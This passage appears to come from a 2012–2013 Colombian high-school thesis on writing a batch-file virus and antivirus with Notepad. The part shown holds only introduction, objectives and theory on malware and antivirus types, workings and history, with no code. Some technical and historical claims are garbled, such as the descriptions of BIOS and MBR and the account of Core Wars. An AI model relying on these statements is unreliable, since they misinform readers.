CREACIÓN(DE(UN(VIRUS(INFORMÁTICO(Y(SU(RESPECTIVO(ANTIVIRUS(((((((((((((
DANIEL(MATEO(POSSO(GONZÁLEZ((((((((((((((((((((((((((
GIMNASIO(LA(COLINA(DEPARTAMENTO(DE(LENGUAJE,(LITERATURA(E(INVESTIGACIÓN(
METODOLOGÍA(DE(LA(INVESTIGACIÓN(CALI,(COLOMBIA(2012(>(2013(
CREACIÓN(DE(UN(VIRUS(INFORMÁTICO(Y(SU(RESPECTIVO(ANTIVIRUS(((((((((((((
DANIEL(MATEO(POSSO(GONZÁLEZ(((((((((
Trabajo(de(grado(para(optar(al(título(de(Bachiller((((((
Asesor:(Carlos(Alberto(Gordillo(Borrero(
Ingeniero(de(sistemas(((((((((
GIMNASIO(LA(COLINA(DEPARTAMENTO(DE(LENGUAJE,(LITERATURA(E(INVESTIGACIÓN(
METODOLOGÍA(DE(LA(INVESTIGACIÓN(CALI,(COLOMBIA(2012(R(2013(
CONTENIDO
AGADECIMIENTOS ............................................................................................................. 6
INTRODUCCIÓN .................................................................................................................. 7
1. PROBLEMA ....................................................................................................................... 9
1.1. PREGUNTA PROBLEMA .............................................................................................. 9
1.2. PREGUNTAS SECUNDARIAS ..................................................................................... 9
2. HIPÓTESIS ....................................................................................................................... 10
3. OBJETIVOS ..................................................................................................................... 11
3.1. OBJETIVOS GENERALES .......................................................................................... 11
3.2 OBJETIVOS ESPECÍFICOS .......................................................................................... 11
4. JUSTIFICACIÓN ............................................................................................................. 12
5. MARCO TEÓRICO .......................................................................................................... 14
5.1. MALWARE ..................................................................................................................... 14
5.1.1. Definición .................................................................................................................... 14
5.1.2. Funcionamiento ........................................................................................................... 17
5.1.3. Tipos ............................................................................................................................ 19
5.1.4. Historia ........................................................................................................................ 23
5.2. ANTIVIRUS .................................................................................................................. 27
5.2.1. Definición .................................................................................................................... 27
5.2.2. Funcionamiento ........................................................................................................... 28
5.2.3. Tipos ............................................................................................................................ 30
5.2.4. Historia ........................................................................................................................ 31
5.3. CMD O SÍMBOLO DEL SISTEMA ............................................................................. 32
5.4. BLOC DE NOTAS Y PROCESAMIENTO POR LOTES ............................................ 33
6. CAPÍTULO PROPOSITIVO ............................................................................................ 35
6.1. METODOLOGÍA .......................................................................................................... 35
6.1.1. Publicaciones ............................................................................................................... 35
6.1.2. Programación .............................................................................................................. 41
6.2. GENERALIDADES DE LOS PROGRAMAS .............................................................. 42
6.3. PROGRAMACIÓN ....................................................................................................... 42
6.3.1. Malware ...................................................................................................................... 42
6.3.1.1. Introducción ............................................................................................................. 43
6.3.1.2. Núcleo ...................................................................................................................... 44
6.3.1.3. Fin ............................................................................................................................ 45
6.3.1.4. Malware completo ................................................................................................... 45
6.3.2. Antivirus ...................................................................................................................... 46
6.3.2.1. Introducción ............................................................................................................. 46
6.3.2.2. Núcleo ...................................................................................................................... 47
6.3.2.3. Fin ............................................................................................................................ 48
6.3.2.4. Antivirus completo ................................................................................................... 48
7. CONCLUSIONES ............................................................................................................ 50
FUENTES DE CONSULTA ................................................................................................. 53
ANEXOS ............................................................................................................................... 56
ANEXO 1 .............................................................................................................................. 56
! 6!
AGRADECIMIENTOS
Agradezco inmensamente a mis padres, por estar siempre presentes en mi proceso y
ayudarme a no rendirme nunca; a Diego, por dar su mayor esfuerzo por entender la locura
de la programación y poder corregir mis bestialidades; a mis compañeros, por darme
ánimos para siempre ser mejor; y a Sarita, por demostrarme que dar hasta la última gota de
sudor, no perder la esperanza, ni jamás la fe, nunca fallan.
! 7!
INTRODUCCIÓN
En la actualidad es muy común escuchar términos como “software”, “aplicación”,
“programa”, “dirección IP” y “sistema operativo”, entre otros, debido a la gran importancia
que ha adquirido la tecnología y la informática dentro del diario vivir. Pero del mismo
modo, también existe un peligro de esta gran dependencia, los virus.
Estos programas, llamados correctamente malware y conocidos por el común de la gente
como virus, son creados, como lo dice su propio nombre, a semejanza de los virus
biológicos y tienen la intención de interferir en el correcto funcionamiento de los sistemas
operativos o hurtar información privada de usuarios.
Durante un largo periodo de tiempo, la gente se ha visto sujeta a compañías creadoras de
antivirus para poder mantener sus computadoras seguras, mas el conocimiento sobre cómo
lidiar con estos programas malintencionados, se ha limitado a la gente que trabaja en dichas
áreas.
Este trabajo de grado tiene por propuesta mostrar el proceso de realización de un virus y de
su respectivo antivirus, por medio del programa Bloc de notas, en el sistema operativo
Windows 7, de la manera más entendible para un lector nuevo en el tema, con el fin de
fomentar bases en seguridad informática y crear conciencia sobre la importancia de conocer
acerca de los efectos de los programas malintencionados sobre un computador y la
necesidad de los respectivos cuidados como los antivirus; por medio de la teoría y la
contextualización correcta, teniendo en cuenta las limitaciones de un estudiante de
bachillerato.
Es importante resaltar que este proyecto no tocará otro punto de vista más que el
informático, y por tanto no se encontrarán cosas tales como: la ética o moral del hacker, los
! 8!
aspectos legales de la seguridad informática, las consecuencias económicas de los virus o
implicaciones culturales a causa de virus informáticos. Puede existir la posibilidad de que
estos temas sean mencionados brevemente dentro del marco teórico teniendo en cuenta su
pertinencia.
! 9!
1. PROBLEMA
1.1. PREGUNTA PROBLEMA
¿Cómo se puede crear un malware y su respectivo antivirus a partir del programa Bloc de
Notas o Notepad para instruir al lector sobre el tema de seguridad informática?
1.2. PREGUNTAS SECUNDARIAS
• ¿Qué es un malware y un antivirus?
• ¿Cómo se propaga un malware?
• ¿Cómo afecta la infección de un malware a un computador?
• ¿Cómo funciona un malware y un antivirus?
! 10!
2. HIPÓTESIS
Es posible identificar las características generales de los malware y los antivirus a partir de
manuales publicados por hackers y/o crackers, y textos publicados por conocedores del
tema para realizar un software malintencionado y un antivirus por medio del programa Bloc
de Notas o Notepad, procurando instruir al lector sobre el tema de seguridad informática.
! 11!
3. OBJETIVOS
3.1. OBJETIVO GENERAL
• Crear un malware y su respectivo antivirus por medio del programa Bloc de Notas o
Notepad para instruir al lector sobre el tema de seguridad informática.
3.2. OBJETIVOS ESPECÍFICOS
• Definir qué es un malware y un antivirus.
• Identificar los métodos como se propaga un malware.
• Determinar la forma en que un computador es afectado por un malware.
• Identificar la forma en la que funciona un malware y su antivirus.
! 12!
4. JUSTIFICACIÓN
El autor del presente trabajo de grado tiene un gran interés en conocer sobre el control de
malware, debido a la poca exploración de esta temática dentro de los trabajos de grado
hechos con anterioridad por los estudiantes del Gimnasio la Colina.
Además de esto, en la actualidad hay un gran auge de la producción de virus en Colombia,
o, como dice Portafolio.co el 15 de febrero del 2011, “Colombia, el tercer país más atacado
por virus en Latino América: ataques aumentaron 320%”1; y para complementar, los
colombianos tienen como su mayor debilidad la gran ignorancia ante temáticas
concernientes a la seguridad informática. Este trabajo de grado ayudará a generar una
fuente bibliográfica de la ya mencionada materia, porque, en experiencia del autor de este
trabajo, los libros publicados o el material impreso son mínimos.
En este trabajo se presentará la teoría necesaria tanto para que el lector pueda tener el
conocimiento elemental sobre malware, como para lograr la creación de uno y un antivirus
básico.
El autor también está interesado en la complementación de la carrera de ingeniería
industrial con la carrera de ingeniería informática o de sistemas, debido a que, aunque la
carrera industrial tiene un amplio campo de trabajo, presenta falencias en el ámbito de los
sistemas y lo informático, haciéndolo así un excelente complemento. Sabiendo esto, este
proyecto formará unas bases importantes en la materia de programación que pueden ayudar
en el momento de estudio de la carrera al autor.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 1 BEZTUZHEV, Dmitry. Colombia, el tercer país más atacado por virus en Latino América: ataques
aumentaron 320%. Portafolio.co [en línea]. 15 de Febrero 2011 [citado el 25 Mayo 2012]. Disponible en: <http://www.portafolio.co/colombia-el-tercer-pais-mas-atacado-virus-informaticos>.
! 13!
El propósito de este trabajo de grado es poder tener un conocimiento básico de la detección
de virus de sistemas y su correcto control a partir del programa básico “Bloc de Notas”.
Dicha creación será trabajada en el sistema operativo Windows 7 debido a la antigüedad y
el común uso de Windows en comparación con los demás sistemas operativos, y la
frecuencia de uso de este, generando así una posibilidad de encontrar mayor información.
! 14!
5. MARCO TEÓRICO
5.1. MALWARE
5.1.1. Definición
La Real Academia Española define virus (sabiendo que este termino es el más común
dentro del uso popular) como: “programa introducido subrepticiamente en la memoria de
un ordenador que, al activarse, destruye total o parcialmente la información almacenada”2.
Por otro lado, la compañía Microsoft los define dentro de su centro de seguridad y
protección como
“pequeños programas diseñados para propagarse de una computadora a otra e interferir con el funcionamiento de las mismas (…) se propagan a menudo a través de documentos adjuntos en mensajes de correo electrónico o de mensajería instantánea (…) pueden ser disfrazados como documentos adjuntos de imágenes divertidas, tarjetas de felicitación o archivos de audio o video (…) también se propagan a través de las descargas de Internet, y pueden estar ocultos en software ilícitos u otros archivos o programas que usted podría descargar”3.
El virus informático (malware) fue definido por el Dr. Fred Cohen en su libro “Virus
Informáticos: teoría y experimentos”, en 1983, como un programa capaz de copiarse a si
mismo y creado con el propósito de infectar otros programas a partir de su modificación.
Para ser considerado como un virus (malware), según el Dr. Cohen, este debe cumplir con
las siguientes características:
• Debe ser capaz de auto-ejecutarse.
• Debe ser capaz de replicarse.
El nombre “virus” (malware), que fue dado por primera vez por el investigador Leonard
Adleman, se debe a la capacidad de estos programas de auto-reproducción y mutación !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 2 Virus. 22ª Versión. Real Academia Española [en línea]. [citado el 8 Septiembre 2012]. Disponible en:
<http://lema.rae.es/drae/?val=virus> • 3 ¿Qué es un virus? Microsoft. Centro de seguridad y protección [en línea]. [citado el 11 Septiembre
2012]. Disponible en: <http://www.microsoft.com/es-xl/security/pc-security/virus-whatis.aspx>
! 15!
siendo similar su comportamiento al de los virus biológicos, viniendo del latín virus que
significa veneno o toxina.
El malware (virus), que no puede auto-ejecutarse, tiende a recurrir a estrategias como
llamar la atención de los usuarios inexpertos por medio de referencias eróticas, personajes
famosos, relaciones amorosas, juegos, entre otros mensajes o vínculos llamativos.
Los daños o molestias más comunes causadas por malware son:
• A nivel de software: modifican y eliminan programas o datos (con frecuencia: .com,
.exe, .sys, .dll, .vbs, entre otros, que están relacionados con las áreas principales del
sistema), agotan el espacio libre del disco duro, hacen que el rendimiento del trabajo del
sistema baje, copian datos sin autorización, renombran archivos, modifican fechas y
características, sustraen información privada, producen mensajes y efectos molestos en
la pantalla, o generan ruidos y sonidos molestos.
• En lo que respecta a los hardware: borran el BIOS (programa encargado de las
funciones básicas en todo sistema operativo), borran la FAT (encargada de estructurar la
información guardada en el disco duro), obligan a formatear el disco duro y alteran el
MBR (capacidad de la memoria designada a el sistema de arranque de un equipo).
La descripción técnica de Ralph Burger, en su libro What you should know about Computer
Viruses, que da la posibilidad de identificar si un programa puede ser o no denominado
malware, es que estos modifican a otros al incluir copias de si mismos con extensión
ejecutable. Además de esto, en la actualidad no es necesario que sus operaciones sean no
solicitadas, secretas o de propagación a través de redes para ser considerados virus.
! 16!
Mientras tanto, Alberto Rojas en su artículo ¿Ya vacunó a su PC?, los define como
cualquier código que al ser ejecutado altera la estructura normal del software del sistema y
elimina programas o datos sin permiso ni conocimiento del operador.
Estos tienen características especiales como su tendencia a tener tamaños muy pequeños,
para que se puedan adjuntar con facilidad a otros archivos o programas; y casi nunca
incluyen el nombre del autor, el registro o la fecha.
Los virus (malware), por otra parte, según howstuffworks, son creados por cuatro razones
en general:
• Vandalismo: Existen quienes, al igual que los pandilleros y los delincuentes, buscan
dañar al otro por razones de simple rebeldía o arbitrariedad.
• Emoción por las explosiones: Así como existen quienes se divierten viendo como se
genera una explosión, el estallido de la pólvora o la detonación de una bomba, existen
quienes se deleitan viendo como sus virus se expanden por medio de la red infectando
cada vez más equipos en forma expansiva.
• Burla de los sistemas: Es común encontrar que los creadores de virus (malware)
rivalizan contra las compañías de antivirus creando mejores virus (malware) con peores
consecuencias para el usuario, burlando los nuevos sistemas de defensa contra el
malware anterior, funcionando así como un continuo sistema de disputa acerca de quien
es un mejor programador.
• Por fines de lucro: Algunos virus (malware) buscan no solo dañar la información del
usuario sino también engañar a este para que compre software falsificado o extraer
! 17!
información del ordenador para luego venderlo por un costo equivalente a su valor
digital en el mercado negro.
5.1.2. Funcionamiento
La forma de funcionar del malware ha cambiado cada vez más a través del tiempo debido a
la creación de los nuevos antivirus. De esta forma los hackers se ven obligados a utilizar
nuevos “trucos” y estrategias en la funcionalidad de los mismos para burlar los sistemas de
seguridad. Entre estos trucos:
• Infectar el sistema de arranque o boot sector (encargado de iniciar el sistema
operativo y la unidad de CD) obligando al ordenador a ejecutar el virus cada ve que
se inicia el equipo, e infectando cualquier disco insertado en este o en caso de que el
computador afectado esté conectado a una red, todos los computadores en la misma
serán contaminados.
• Infectar la memoria RAM, de tal modo que pueda seguirse ejecutando cada vez que
el computador esté encendido, infectando, al mismo tiempo, todos los programas
que se ejecuten y estén involucrados con la memoria RAM.
Estas técnicas ya no son muy útiles con los nuevos métodos de protección porque los
recientes sistemas operativos tienen un alto nivel de seguridad, tanto en la memoria RAM
como en el sistema de arranque de los equipos.
Así como los virus biológicos necesitan de una célula sana para poder reproducirse, el virus
informático (malware) funciona por medio de otro programa o archivo para poder ser
! 18!
ejecutado. Después de que el virus haya sido ejecutado ya está en capacidad de poder
infectar otros programas y/o archivos.
Es elemental saber que estos malware son simples listas de instrucciones que le dicen al
equipo qué acciones debe ejecutar y cómo debe hacerlo, así, un virus se apodera del mando
de un computador.
Es común encontrarse con que la mayor parte de los programas supervisen de forma muy
meticulosa cada una de las acciones que van a ejecutar para impedir daños o pérdida de
información. Mensajes de advertencia como “¡Cuidado! Está usted a punto de escribir
sobre un archivo existente, continuar (S/N)”, “Desea eliminar este archivo (S/N)” o “Los
cambios que usted genere no serán guardados, continuar (S/N)” pueden resultar familiares.
Mientras tanto, los malware están hechos para funcionar de la manera contraria a todo este
tipo de programas legales. Los virus (malware), en su mayoría, se ejecutan sin que los
usuarios lo sepan y sin avisar sobre sus consecuencias, se esconden en programas que
parecen inofensivos, ejecutándose junto a estos; por ejemplo en discos, archivos o carpetas.
Esto con el fin de que las instrucciones del malware puedan ser cumplidas y no
comprometidas por un usuario.
El hecho de que un virus esté en un equipo no significa que este tenga que ejecutarse de
forma inmediata, esto solo significa que el computador está “infectado”. Este malware, por
tanto, puede permanecer por mucho tiempo dentro de la memoria del ordenador esperando
tan solo las condiciones propicias para ejecutarse, estas pueden ser una fecha y hora
determinada, un comando especifico; abrir una aplicación, mover un archivo, entre muchas
más.
! 19!
Antes de proseguir se debe resaltar que, la principal falla del sistema operativo Windows
es el procesamiento por lotes (o batch processing) MS DOS. Este sistema de procesamiento
está creado para evitar tareas repetitivas y comunes dentro del trabajo común de un equipo,
de esta forma el usuario no tiene que desgastarse con estos trabajos tediosos y propensos a
errores de manera manual. Además de esto, para que el procesamiento por lotes se ejecute
no hay necesidad de ningún permiso o confirmación del usuario. Así, este sistema de
procesamiento por lotes separa de manera abismal el tipo de usuario que solo utiliza el
computador por medio de la interfaz grafica (el método de comunicación entre usuario y
sistema operativo por medio de ventanas, opciones, botones y demás) del usuario avanzado
que utiliza el MS DOS, dándole a este ultimo la libre posibilidad de experimentar a su deseo
con el sistema de procesamiento por lotes.
El creador de todo malware debe: escribir el código de este, que está encargado de definir
como trabajará el virus en sus etapas de auto-replicación y de ataque; probar que el virus se
propague de forma correcta y, la final, lanzarlo a la red.
En Hackycrack resumen el funcionamiento de un virus batch como archivos de texto sin
formato con una extensión .bat que tienen series de comandos de MS DOS y que al
ejecutarlo permite la realización de diferentes tareas sin un permiso del usuario, como ya
fue enunciado con anterioridad.
5.1.3. Tipos
Los malware (virus) pueden ser categorizados de diferentes maneras, entre ellas la
planteada por el Dr. Fred Cohen, quien postuló tres tipos:
• Caballos de Troya (Troyan horses): Son virus escondidos en archivos que parecen ser
! 20!
benignos. Estos contienen códigos dañinos que en caso de activarse provocan daño o
robo de datos.
• Gusanos (worms): Programas que se replican de sistema en sistema, sin depender de un
archivo. Están presentes, con frecuencia, en documentos Word y Excel. El gusano
genera un documento que contiene una macro de sí mismo, que viajará de equipo en
equipo ocupando parte importante del disco duro e incluso la memoria RAM.
• Virus: Un pequeño programa con el fin de modificar la forma normal del
funcionamiento de un equipo sin permiso o conocimiento del usuario.
También existe otra clasificación de cinco tipos, propuesta por el Lic. Ramón Hernando
Bello Hernández y la Ms. C. Ileana R. Alfonso Sánchez, en la revista ACIMED, según sus
efectos sobre el ordenador:
• Virus (malware) que infectan archivos: Infectan archivos de programa. Este reside en la
memoria y ataca con frecuencia a los archivos ejecutables. Cualquier archivo que se
ejecute que no haya sido infectado, pasará a serlo.
• Virus (malware) del sector de arranque: Infecta las áreas de registro de arranque de los
disquetes y discos duros. Estos virus se esconden el sector de arranque de los discos
duros, generando que cada vez que se inicia el sistema, sea ejecutado el virus. Más
tarde, mientras el virus resida en la memoria del equipo, todo dispositivo que sea
conectado a este será infectado.
• Virus (malware) del sector de arranque maestro: Al igual que los de sector de arranque,
atacan el sistema de inicio, mas estos, a diferencia de los anteriores, ocultan una copia
de su código en una locación aparte de la que está presente en la memoria del sistema
! 21!
de arranque.
• Virus (malware) múltiples: Infectan el área del sistema de arranque y archivos
principales de programación del sistema operativo. Toda memoria ó dispositivo que sea
conectado al equipo es infectado, y aún cuando los archivos son limpiados, el virus
evita ser borrado.
• Virus (malware) de macro: Infecta archivos de datos.
En la actualidad existen entre 10.000 y 60.000 tipos diferentes de malware, mas entre ellos
los más reconocidos, interesantes y comunes son (estas clasificaciones fueron hechas por
empresas de antivirus o profesionales como: Computer Virus Industry Association, Centro
de Cálculo de la Facultad de Ingeniería de la Universidad Nacional Autónoma de México y
el profesor Alejandro Jiménez H., de la misma facultad)4:
• Virus por correo electrónico: Aquellos que se difunden por medio del correo
electrónico.
• Bombas de tiempo: Aquellos que se ejecutan a cierta fecha y hora.
• Virus polimorfos o mutantes: Los que cambian su extensión y código (visible), para no
ser detectados por los antivirus.
• Virus invisibles: Los que presentan resultados limpios a los antivirus sin permitir
escanearse.
• Virus autoreplicables: Aquellos capaces de auto replicarse sin necesidad de una
ejecución por parte del usuario.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 4 FERREYRA, Gonzalo. Virus en las computadoras. 2ª Edición. Macrobit Editores. D.F, Mexico. 1991.
MF 4-(12-16)
! 22!
• Esquemas de protección: Aquellos hechos por compañías para evitar la copia ilegal de
sus software. Estos se activan cuando se crean copias no autorizadas de un software
original de la compañía, y después de utilizar dicha copia en un equipo atacan los
archivos del usuario obligándolo a comprar el software original.
• Virus benignos: Los que no tienen como fin dañar, borrar o modificar la información
del equipo, solo molestar al usuario.
• Virus burlones: Aquellos que después de haber sido ejecutados y de haber terminado su
proceso avisan al usuario de manera burlona lo sucedido.
• Virus crecidos: Los que marcan los sectores infectados, como dañados, causando
disminución en la capacidad del almacenamiento del disco duro.
• Virus descarados: Aquellos que después de haber sido ejecutados muestran un mensaje
burlesco con el nombre, la dirección y el teléfono del autor.
• Virus estadísticos: Aquellos que tienen un contador de las veces que han infectado otros
equipos.
• Virus físicos: Los que dañan monitor, tarjetas de video, lentes de lectura de discos o
memorias RAM saturándolos de trabajo hasta que se queman.
• Virus juguetones: Los que se propagan por medio de copias de juegos.
• Virus acorazados: Aquellos que por medio de su código evitan su descompresión,
eliminación, separación o incluso llegar a descifrar su código.
• Virus malditos: Los que después de haber infectado el sistema, si encuentran muy poca
información, esperan a que el disco duro se llene de más información para poder
ejecutarse.
! 23!
• Virus misteriosos: Los que bloquean partes del equipo, simulando que están dañadas.
• Virus resentidos: Los creados por empresarios hacia sus empresas por haber sido
despedidos o cambiados a cargos inferiores.
• Virus simples: Aquellos que se ejecutan sin presentación.
• Virus supervisores: Los elaborados por las empresas para detectar a los empleados que
hacen copias de programas sin autorización.
• Virus vengadores: Aquellos que, anexos a los software, se ejecutan cuando alguien hace
una copia pirata del programa.
• Virus viajeros: Aquellos que pueden viajar en diferentes formatos y por diferentes
medios de comunicación (redes, módems, microondas, etc.)
• Virus kernel: Los que infectan los programas ocultos principales del sistema operativo o
“kernel” (núcleo) del sistema.
• Virus de código fuente: Los que se adjuntan a todo programa creado por el usuario.
• Virus de acompañamiento: Aquellos que crean duplicados de archivos haciendo creer al
usuario que son el archivo original y propiciando su ejecución.
• Spyware: Aquellos que recolectan información sobre el usuario, entre esta: nombres de
usuario, contraseñas, acciones, programas usados, lista de contactos, etc.
5.1.4. Historia
Los virus informáticos a través del tiempo han sido la causa de diferentes daños
informáticos en el mundo, y la principal razón de esto ha sido la ignorancia de las masas
sobre el tema. Gracias a esto muchos tabús y supersticiones, de interesante mención, se
! 24!
generaron en la década de los 80s. Entre estos están, por ejemplo, que debido al nombre
dado a los virus, estos se confundieron con virus biológicos, y se llegó a creer que tenían la
capacidad de salir de los sistemas y contagiar al usuario; que estos habían sido creados
como un castigo divino sobre los humanos por hacer uso de tecnologías que no podían
comprender, o incluso podrían llegar a ser clasificados como una obra satánica5.
Los malware han pasado por diferentes contextos: políticos, en donde han sido causa de
muchos movimientos tecno-terroristas en diversos sectores del mundo (desde Estados
Unidos hasta la antigua Unión Soviética); hasta sociales, culturales, etc. Otros ejemplos de
malware que han quedado en la historia son los virus que contenían bailes exóticos de
reconocidas actrices, que mientras el usuario disfrutaba de estos perdían toda la
información guardada en su equipo; o virus de indescifrables y temibles códigos que para
ser eliminados solo requerían que el usuario tecleara la palabra “COOKIE” (galletita). En
contextos económicos, por otro lado, existieron los malware que podían lograr que las
hojas de calculo de contabilidad generaran números y cantidades falsas dentro de las
empresas, causando desajustes monetarios y perdidas de valores impensables.
Así, sabiendo que la historia de los virus ha afectado la historia tecnológica a gran escala
podríamos resumir los más importantes eventos en los siguientes años:
• 1949: El “Padre de la Computación” John von Neumann, menciona y describe ciertos
programas capaces de reproducirse en su libro Theory and Organization of Complicated
Automata.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 5 FERREYRA, Gonzalo. Virus en las computadoras. 2ª Edición. Macrobit Editores. D.F, Mexico. 1991.
MF 4-(11-16).
! 25!
• 1949 – 1986: El conocimiento de los software malintencionados era muy limitado a
investigadores y científicos que trabajaban en universidades e instituciones privadas o
estatales que tenían la disponibilidad económica de poder pagar los altos costos de los
programas y los equipos.
• 1960: El primer indicio de programas que trabajaban de forma similar a los virus tuvo
lugar en el Instituto Tecnológico de Massachusetts, donde jóvenes estudiantes, muy
talentosos para el desarrollo de programas, se reunían para llevar a cabo juegos
amistosos, llamados más tarde Space Wars, en donde competían por infiltrar programas
en los sistemas del contrincante, sin que el otro lo notase.
• 1970: Una década después de Space Wars, varios malware fueron creados por los
programadores de la empresa AT&T (Bell Laboratories) en medio de un juego entre
Robert Morris (1932 – 2011), H. Douglas Mcllroy (1932 - ), Victor Vysottsky (1931 –
2012) y Kenneth Thompson (1943 - ) llamado Core Wars, en el que se creaban
programas para destruir la memoria del contrincante o afectar el correcto
funcionamiento de los equipos. En consecuencia con ello y en la misma época,
desarrollaron el programa Reeper que tenía la función de destruir los programas
dañinos. El juego acabó debido a su gran grado de peligrosidad, y se acordó entre los
programadores mantenerlo en secreto y evitar hablar de ello.
• 1974: Xerox Corporation presentó el primer programa con un código autoduplicador en
Estados Unidos.
• 1980 – 1990: La fuente más común de virus eran los disquetes (o floppy disks), debido
a que la información en estos podía ser cambiada y eran insertados en diferentes
! 26!
computadoras, aumentando la probabilidad de infección, mientras que los CD’s (en su
mayoría) no pueden ser modificados y no existe la manera de instalar un virus en estos
a no ser que sea desde su quemado.
• 1983: El Dr. Fred Cohen (1956 - ), en la Universidad de California, hace una exposición
sobre los virus informáticos, definiéndolos por primera vez. El Dr. Cohen sería más
tarde conocido como “el padre de los virus”. En la misma época hubo un inmenso auge
de creación de nuevos virus para PC.
• 1983 – 1984: El Dr. Kenneth Thomson (1943 - ), creador del sistema operativo UNIX y
programador de AT&T, rompió el silencio acordado y publicó la existencia de los
programas de las Core Wars junto a la estructura de estos. La revista Scientific
American, publica dicha información e incluso anexa guías, a dos dólares cada una,
para crear virus.
• 1986: Aparición de las primeras computadoras personales y comerciales para el
público, y comienzo del auge de virus. Además se difunden los virus capaces de
eliminar información personal de los usuarios, el más famoso de estos desarrollado por
dos hermanos que vendían computadoras y software en Lahore, Paquistán.
• 1987: Se crea el famoso virus “CHRISTMAS”, que presentaba un mensaje navideño
que pedía al usuario teclear la palabra “CHRISTMAS”. Si esto pasaba el virus se
infiltraba en el correo interno y se auto enviaba a todos los contactos existentes.
• 1989: Ya existía cierta conciencia de los virus como epidemia y las deplorables
consecuencias que podrían traer. Por otro lado, por primera vez un creador de virus
! 27!
(Robert Morris Jr., hijo del programador que hizo participe de las Core Wars) es
descubierto y llevado a la cárcel.
• 1990: Aparecen los primeros virus poliformes o mutantes, capaz de auto-replicarse y
hacer copias con variaciones de ellos mismos.
• 2000: El famoso virus I love you causa una perdida mundial de 9.000 millones de
dólares, una cifra nunca antes vista en la historia de los virus.6, 7, 8
5.2. ANTIVIRUS
5.2.1. Definición
En la Real Academia Española definen el término antivirus como “Dicho de un programa:
Que detecta la presencia de virus y puede neutralizar sus efectos”9.
Por otro lado Microsoft, en su centro de seguridad y protección, los define como “un
programa de computación que detecta, previene y toma medidas para desarmar o eliminar
programas de software malintencionados, como virus y gusanos”10.
Francisco V. C. Ficarra, autor de la revista Chasqui, propone por su lado que la forma para
lidiar con un virus (malware) es por medio de antivirus y las empresas de seguridad
informática, encargados de generar todos los “antídotos” para los tipos de virus que se
encuentren; de tal modo que el sistema operativo esté en una constante búsqueda de los
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 6 Ibíd. MF 4-1 – 4-10 • 7 FICARRA, Francisco V. C. Virus informáticos: entre el negocio y el temor. Chasqui. • 8 HERNANDEZ BELLO, Ramón Orlando. Elementos teórico - prácticos útiles para conocer los virus
informáticos. ACIMED. Aprobado: 16 de Julio del 2002. • 9 Antivirus. 22ª Versión. Real Academia Española [en línea]. [citado el 11 Septiembre 2012]. Disponible
en: <http://lema.rae.es/drae/?val=antivirus> • 10 ¿Qué es el software antivirus? Microsoft. Centro de seguridad y protección [en línea]. [citado el 11
Septiembre 2012]. Disponible en: <http://www.microsoft.com/es-xl/security/resources/antivirus-whatis.aspx>
! 28!
archivos, la información o los programas que puedan estar infectados, limpiándolos y
tomando como última medida la eliminación de estos.
Aparte de las anteriores propuestas, Antivirus World define un antivirus como un programa
de computadora que puede ser usado para identificar y eliminar malware por medio de dos
principales técnicas:
• Examinar archivos para reconocer malware por medio de un diccionario de virus
(malware).
• Identificar comportamientos sospechosos por parte de cualquier programa que pueda
indicar una infección.
5.2.2. Funcionamiento
En la página Vsantivirus, dedicada a la seguridad informática y avalada por el antivirus
NOD32, el autor Fernando de la Cuadra presenta el siguiente diagrama de flujo en el que
resume el funcionamiento de un antivirus y el tratamiento de la información:
Figura 1. Funcionamiento de un antivirus
DE LA CUADRA, Fernando.
! 29!
Como principal objetivo, la información del sistema de origen (puede ser un CD, una
memoria USB, una red, etc.) debe pasar al sistema de destino (el disco duro, la memoria
RAM, un ISP, etc.). Para llegar a este fin la información debe pasar por un mecanismo de
interceptación, que puede ser implantado en:
• El sistema operativo: La intercepción debe ser especifica según el sistema operativo, y
en este caso el sistema analizará los datos automáticamente en el momento en que se
envíen al sistema de origen.
• Aplicaciones: La intercepción aplicará solo en caso en que cierto programa se ejecute y
necesite de intercambio de información entre el sistema de origen y el de destino.
• Mecanismos especiales: Mecanismos o recursos externos al antivirus y la aplicación se
encargan de facilitarle la información al antivirus.
Luego de que la información haya sido interceptada por cualquiera de los métodos, debe ser
analizada por el antivirus y si se detecta alguna amenaza, el sistema prosigue con las
siguientes dos acciones:
• El sistema de intercepción envía los datos al sistema de desinfección, que después de
limpiarlos los devuelve al sistema de interceptación para que este los remita al sistema
de destino.
• El antivirus emite una alarma al interfaz del usuario. Esta alarma puede consistir en un
mensaje, un correo electrónico, un aviso a la red interna, una entrada en un informe de
actividad o cualquier herramienta de comunicación que el antivirus use para gestionar
sus acciones.
! 30!
Como se puede ver, el funcionamiento de un antivirus no es extraordinario frente a un
software cualquiera, pero el verdadero procedimiento del antivirus no es tan sencillo
cuando es analizado a profundidad, en especial cuando se trata de su motor de búsqueda de
virus.
El motor de búsqueda del antivirus es la parte del antivirus que se encarga de encontrar los
archivos infectados en el momento de la intercepción y, si es posible, desinfectarlos. Este
motor hace su inspección de dos maneras. La primera, consiste en comparar los archivos
con una base de datos de virus (o “firmas de virus”), es decir una lista de virus en constante
actualización, que está hecha según los códigos con los que estos están compuestos y su
forma de eliminación. En caso en que la información del archivo coincida con alguno de los
malware de la lista, se concluye que el fichero está infectado. La segunda, es por el
“método heurístico”, que consiste en detectar códigos maliciosos o sospechosos en los
archivos. Esto se aplica en el caso en que el malware no esté dentro de la base de datos, y la
forma de detección de este es clasificándolo como amenaza cuando se detectan patrones
peligrosos de códigos (eliminación, descompresión, desmembración, cambio de
propiedades, formateo, entre otros).
5.2.3. Tipos
Actualmente muchas empresas ofrecen sus servicios de seguridad informática con
diferentes tipos de antivirus. En la pagina Vsantivirus, Fernando de la Cuadra, habla de dos
principales tipos:
• Antivirus residentes: Son los antivirus más complejos y necesarios. Estos son aquellos
que tienen el sistema en constante vigilancia para evitar intrusiones e infecciones.
! 31!
• Analizadores bajo demanda: Aunque utilizan el mismo motor de búsqueda que los
residentes, estos se encargan de analizar el sistema parcialmente y bajo la orden del
usuario. Se utilizan solo en ocasiones especiales. Por ejemplo, cuando se conecta una
memoria USB al equipo.
5.2.4. Historia
Aunque la historia de los antivirus no sea muy reconocida dentro del recuento de la
